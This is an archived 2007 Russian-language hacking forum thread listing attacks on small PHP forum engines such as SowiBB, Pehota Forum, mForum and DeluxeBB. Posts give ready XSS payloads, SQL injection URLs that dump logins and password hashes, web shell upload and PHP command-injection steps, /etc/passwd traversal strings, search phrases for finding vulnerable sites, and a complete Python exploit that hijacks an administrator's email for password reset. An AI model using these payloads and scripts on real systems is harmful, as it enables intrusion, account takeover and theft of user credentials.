ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
[Мини Обзор Уязвимостей SowiBB 3] |

08.07.2007, 23:35
|
|
Постоянный
Регистрация: 01.02.2006
Сообщений: 970
Провел на форуме: 9254548
Репутация:
1942
|
|
[Мини Обзор Уязвимостей SowiBB 3]
сразу хочу сказать, что данный обзор по моему мнению не претендует на то чтобы ему присвоили статус "ВАЖНО" т.к. он слишком мал, а рассматриваемый форум не популярен. форум я выбирал не специально, а просто взял нижний из списка. все уязвимости находил сам.
работал только с 1 персией форума, насколько я понял последней.
сам форум на удивление дырявый..постю в надежде, что вдруг кому-нибудь пригодится.
итак:
SowiBB 3 RC 2
================================================== ====================
если использовать в качестве ника
"><script>alert(99)</script>
то у вас будет вылетать алерт:
при логине у вас будет вылетать алерт
================================================== ====================
при попытке отправьть письмо на email такому пользователю будет вылетать алерт:
пример:
Код:
/email.php?act=send&page=%22%3E%3Cscript%3Ealert(99)%3C/script%3E
================================================== ====================
при попытке отправьть ПМ такому пользователю будет вылетать алерт:
пример:
Код:
/pm-post.php?person=%22%3E%3Cscript%3Ealert(99)%3C/script%3E
================================================== ====================
также можно заполнить поля ICQ MSN AIM YAHOO "><script>alert(99)</script> при просмотре списка пользователей
вылетает 4 алерта.
================================================== ====================
если сознать тему с названием то при её просмотре как "снаружи" так и изнутри
будет вылетать алерт
================================================== ====================
при просмотре stats.php если у вас есть темы или ники в которых присуцтвует "><script>alert(99)</script> будет вылетать алерт.
================================================== ====================
если при отправке ПМ в качестве темы сообщения указать "><script>alert(99)</script>
то при чтении сообщения вылетит алерт.
================================================== ====================
если на страничке добавления аватара в поле Location: написать "><script>alert(99)</script> - то он вылетит алерт
================================================== ====================
ну и кароче как я понял везде где спетится скрипт - он выполняется, почти везде.
================================================== ====================
заливаем шелл:
в админке
Skin Manager
> Image Uploader
расширение php пропускает. шелл будет лежать по адресу
Код:
/skins/DEFAULT(если заливали в default)/images/shell.php(если имя шелла shell.php
|
|
|

09.07.2007, 00:13
|
|
Banned
Регистрация: 01.08.2006
Сообщений: 725
Провел на форуме: 7681825
Репутация:
4451
|
|
Делать нечего,качнул дистрибутив и поставил на локалхост.После пятиминутного изучения сорцов стало ясно что там отстуствует фильтрация вообще
Иньекция в логине , ' or 1=1/* , а также уязвимы сценарии lostpw.php , profile.php , forum.php , viewgroups.php , а также во всех скриптах на любой вкус - UPDATE / INSERT / SELECT xD . Куча xss , вот пару активных
Код:
[IM*G]http://" onmouseover="alert(/antichat/);"[/IMG]
[UR*L]http://" onmouseover="alert(/antichat/);"[/URL]
Но и этого мало , смотрим код залива аватара в профиле
PHP код:
if (in_array($_FILES['avatarown']['type'], array('image/gif', 'image/jpeg', 'image/pjpeg', 'image/jpg')))
{
move_uploaded_file($_FILES['avatarown']['tmp_name'], "./uploads/avatar-".$username."-{$_FILES[avatarown][name]}");
}
Гениально - подменяем хттп запрос и указывая php файл для аплоада меняем в хттп заголовке application/octet-stream на например image/gif.Все
|
|
|

06.09.2007, 18:53
|
|
AMA - Level 2
Регистрация: 10.06.2006
Сообщений: 1,113
Провел на форуме: 17668503
Репутация:
5826
|
|
cyberBB v. 0.4
Скачать можно здесь:
http://sourceforge.net/project/platformdownload.php?group_id=170656
-------------------------------------------------------------------
SQL инъкция:
Код:
http://localhost/show_topic.php?id=-1+union+select+1,2,3,4,555,6,7/*
Вывод логина и пароля пользователя:
Код:
http://localhost/show_topic.php?id=-1+union+select+1,2,3,4,aes_decrypt(aes_encrypt(concat(username,char(58),password),0x71),0x71),6,7+from+users/*
Получаем логин и хеш (мд5) пароля пользователя.
|
|
|

03.10.2007, 22:46
|
|
AMA - Level 2
Регистрация: 10.06.2006
Сообщений: 1,113
Провел на форуме: 17668503
Репутация:
5826
|
|
Pehota Forum 1.05 и Pehota_Forum v1.10b
Скачать можно здесь: http://www.woweb.ru/load/56-1-0-4272
---------------------------------------------------------------------
1. Заливка шелла:
Регимся на форуме с ником blabla .php, вообщем так что бы ник (логин) заканчивался на .php
Предположим shell.php
Теперь заходим под этим логином, после чего идём в профиль выбираем загрузку аватары и заливаем шелл, всё шелл доступен по адресу:
http://site.ru/forum/user/shell.php/avator_ shell.php
т.е. имя аватары формируется из avator_ + имя пользователя.
2. Проверялось на версии Pehota_Forum v1.10b - возможность узнать логины и пароли пользователей.
Из-за отсутствия .htaccess в "стандартном комплекте", можно просматривать файлы, файл с паролями:
http://test.ru/ data/user.dat
3. Проверялось на версии Pehota_Forum v1.10b - повышение привилегий до админских.
Регимся
В поле Имя вводим login -вообщем тут не важно что
В поле Пароль (ну и в подтверждение пароля) вводим pass,2,3,Admin,
В поле с мылом вводим 123@123.ru - вообщем то что выглядит как нормальный адрес.
Получаем аккаунт: login:pass с админскими правами.
4. Проверялось на версии Pehota_Forum v1.10b - заливка шелла через админку
В админке - Настройки
Либо в поле Тем на страницу в admin.php:Ю либо в поле Тем на главную страницу: вписываем:
10"; system($HTTP_GET_VARS['cmd']); $aaaaa="
Получаем шелл:
http://test.ru/params.php?cmd=[cmd]
Последний раз редактировалось Grey; 09.12.2007 в 22:48..
|
|
|

05.10.2007, 19:58
|
|
Moderator - Level 7
Регистрация: 28.04.2007
Сообщений: 547
Провел на форуме: 5516499
Репутация:
3702
|
|
|
|
|

05.10.2007, 22:33
|
|
AMA - Level 2
Регистрация: 10.06.2006
Сообщений: 1,113
Провел на форуме: 17668503
Репутация:
5826
|
|
1. Tiny PHP Forum v3.61
Скачать можно здесь: http://sourceforge.net/project/showf...group_id=98590
Пассивные xss:
Код:
http://localhost/forum/header.php?siteName=<script>alert(document.cookie);</script>
http://localhost/forum/header.php?siteURL="><script>alert(document.cookie);</script>
Для поиска этого форумного двига вводим: Powered by TinyPHPForum v3.61
Уязвимости для версии 3.60:
http://www.securitylab.ru/vulnerability/243758.php
Активная XSS ("1. Уязвимость существует из-за недостаточной") присутствует и в версии 3.61
--------------------------------------------------------------------
--------------------------------------------------------------------
2. Nexus Forum
Скачать можно здесь: http://sourceforge.net/project/showf...roup_id=112138
Отсутствие .htaccess:
Из-за отсутствия в "комплекте форума" файла .htaccess, есть возможность просматривать пароли, пользователей:
http://localhost/forum/users/Имя пользователя/pass.txt
--------------------------------------------------------------------
--------------------------------------------------------------------
3. mForum
Скачать можно здесь: http://sourceforge.net/project/showf...roup_id=191244
SQL инъекция:
В скрипте register.php в запрос
PHP код:
$query_username = "INSERT INTO $table_users(username,password,email,date,ip) VALUES('$_POST[username]','$_POST[password]','$_POST[email]','$date','$ip')";
можно внедрить sql инъекцию:
Делаем следующее:
Регимся на форуме (Register), в поле Username: вставляем 1','','',version(),'')/* остальные поля заполняем произвольно, но соблюдая требования (пароль > 4 символов, мыло по виду user@site.ru)
После чего переходим к просмотру пользователей (Members list), там открываем профиль нашего пользователя (а его имя будет 1 (т.к. -->1<--','','',version(),'')/*)) и видим в поле "Registered:" вывод версии БД.
К сожалению из-за ограничения на длину имени пользователя ввести более длинный запрос не получится.
Для поиска этого форумного двига вводим: Powered by mForum
|
|
|

28.10.2007, 01:48
|
|
Moderator - Level 7
Регистрация: 28.04.2007
Сообщений: 547
Провел на форуме: 5516499
Репутация:
3702
|
|
Уязвимость в FUDForum
URL производителя: fudforum.org
1. Уязвимость в admbrowse.php позволяет просматривать произвольные файлы:
Код:
admbrowse.php?down=1&cur=%2Fetc%2F&dest=passwd&rid=1&S=[someid]
2. уязвимость в tmp_view.php позволяет просматривать произвольные файлы:
Код:
tmp_view.php?file=/etc/passwd
|
|
|

16.11.2007, 22:26
|
|
Moderator - Level 7
Регистрация: 28.04.2007
Сообщений: 547
Провел на форуме: 5516499
Репутация:
3702
|
|
QuickTalk forum 1.3 (lang) Local File Inclusion Vulnerabilities
#download: http://www.qt-cute.org/download/qtf13.zip
#vulncode:
$strLang = $_GET["lang"];
include("language/$strLang/qtf_lang_reg.inc");
#exploits:
Код:
http://www.site.com/[path]/qtf_checkname.php?lang=./../../../../../../../../../../etc/passwd%00
http://www.site.com/[path]/qtf_j_birth.php?lang=./../../../../../../../../../../etc/passwd%00
http://www.site.com/[path]/qtf_j_exists.php?lang=./../../../../../../../../../../etc/passwd%00
(c) milw0rm.com
|
|
|

19.11.2007, 22:48
|
|
Moderator - Level 7
Регистрация: 28.04.2007
Сообщений: 547
Провел на форуме: 5516499
Репутация:
3702
|
|
|
|
|
DeluxeBB <= 1.09 Remote Admin Email Change Exploit |

26.11.2007, 16:58
|
|
Moderator - Level 7
Регистрация: 28.04.2007
Сообщений: 547
Провел на форуме: 5516499
Репутация:
3702
|
|
DeluxeBB <= 1.09 Remote Admin Email Change Exploit
Движок: DeluxeBB
Версия: <= 1.9
Код:
#!/usr/bin/python
#-*- coding: iso-8859-15 -*-
'''
_ __ _____ _____ _ __
| '_ \ / _ \ \/ / _ \ '_ \
| | | | __/> < __/ | | |
|_| |_|\___/_/\_\___|_| |_|
------------------------------------------------------------------------------------------------
§ DeluxeBB 0day Remote Change Admin's credentials §
------------------------------------------------------------------------------------------------
nexen
------------------------------------------------------------------------------------------------
PoC / Bug Explanation:
When you update your profile,
DeluxeBB execute a vulnerable query:
$db->unbuffered_query("UPDATE ".$prefix."users SET email='$xemail', msn='$xmsn', icq='$xicq', ... WHERE (username='$membercookie')");
So, editing cookie "membercookie" you can change remote user's email.
Enjoy ;)
------------------------------------------------------------------------------------------------
'''
import httplib, urllib, sys, md5
from random import randint
print "\n########################################################################################"
print " DeluxeBB <= 1.09 Remote Admin's/User's Email Change "
print " "
print " Vulnerability Discovered By Nexen "
print " Greetz to The:Paradox that Coded the Exploit. "
print " "
print " Usage: "
print " %s [Target] [VictimNick] [Path] [YourEmail] [AdditionalFlags] " % (sys.argv[0])
print " "
print " Additional Flags: "
print " -id34 -passMypassword -port80 "
print " "
print " Example: "
print " python %s 127.0.0.1 admin /DeluxeBB/ me@it.com -port81 " % (sys.argv[0])
print " "
print "########################################################################################\n"
if len(sys.argv)<=4: sys.exit()
else: print "[.]Exploit Starting."
target = sys.argv[1]
admin_nick = sys.argv[2]
path = sys.argv[3]
real_email = sys.argv[4]
botpass = "the-new-administrator"
rand = randint(1, 99999)
dn1 = 0
dn2 = 0
dn3 = 0
try:
for line in sys.argv[:]:
if line.find('-pass') != -1 and dn1 == 0:
upass = line.split('-pass')[1]
dn1 = 1
elif line.find('-pass') == -1 and dn1 == 0:
upass = ""
if line.find('-id') != -1 and dn2 == 0:
userid = line.split('-id')[1]
dn2 = 1
elif line.find('-id') == -1 and dn2 == 0:
userid = ""
if line.find('-port') != -1 and dn3 == 0:
port = line.split('-port')[1]
dn3 = 1
elif line.find('-port') == -1 and dn3 == 0:
port = "80"
except:
sys.exit("[-]Some error in Additional Flag.")
if upass=="" and userid != "" or userid == "" and upass != "":
print "[-]Bad Additional flags -id -pass given, ignoring them."
upass=""
userid=""
############################################################################################Trying to connect.
try:
conn = httplib.HTTPConnection(target,port)
conn.request("GET", "")
except: sys.exit("[-]Cannot connect. Check Target.")
############################################################################################Registering a new user if id or upass not defined
try:
conn = httplib.HTTPConnection(target,port)
if upass == "" or userid == "":
conn.request("POST", path + "misc.php?sub=register", urllib.urlencode({'submit': 'Register','name': 'th331337.%d' % (rand) , 'pass': botpass,'pass2': botpass,'email': 'root%d@yoursystemgotpowned.it' % (rand) }), {"Accept": "text/plain","Content-type": "application/x-www-form-urlencoded"})
response = conn.getresponse()
cookies = response.getheader('set-cookie').split(";")
#print "\n\nth331337.%d \n\nthe-new-administrator" % (rand)
print "[.]Registering a new user. -->",response.status, response.reason
conn.close()
############################################################################################Getting memberid in Cookies
for line in cookies[:]:
if line.find('memberid') != -1:
mid = line.split('memberid=')[1]
############################################################################################Isset like starts
try: mid
except NameError: sys.exit("[-]Can't Get \"memberid\". Failed. Something has gone wrong. If you have not done yet, you may have to register manually and use flags -id -pass")
except AttributeError:
sys.exit("[-]AttributeError Check your Target/path.")
############################################################################################Doing some Md5
if upass=="" or userid=="":
hash = md5.new()
hash.update(botpass)
passmd5 = hash.hexdigest()
else:
hash = md5.new()
hash.update(upass)
passmd5 = hash.hexdigest()
mid = userid
############################################################################################Updating "victim" email in Profile
conn = httplib.HTTPConnection(target,port)
conn.request("POST", path+"cp.php?sub=settings", urllib.urlencode({'submit': 'Update','xemail': real_email}), {"Accept": "text/plain","Cookie": "memberid="+mid+"; membercookie="+admin_nick+";memberpw="+passmd5+";" ,"Content-type": "application/x-www-form-urlencoded"})
response = conn.getresponse()
print "[.]Changing \""+admin_nick+"\" Email With \"" + real_email + "\" -->",response.status, response.reason
conn.close()
print "[+]All Done! Email changed!!!\n\n You can reset \""+admin_nick+"\" password here -> "+target+path+"misc.php?sub=lostpw :D\n\n Have Fun =)\n"
# milw0rm.com [2007-11-26]
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|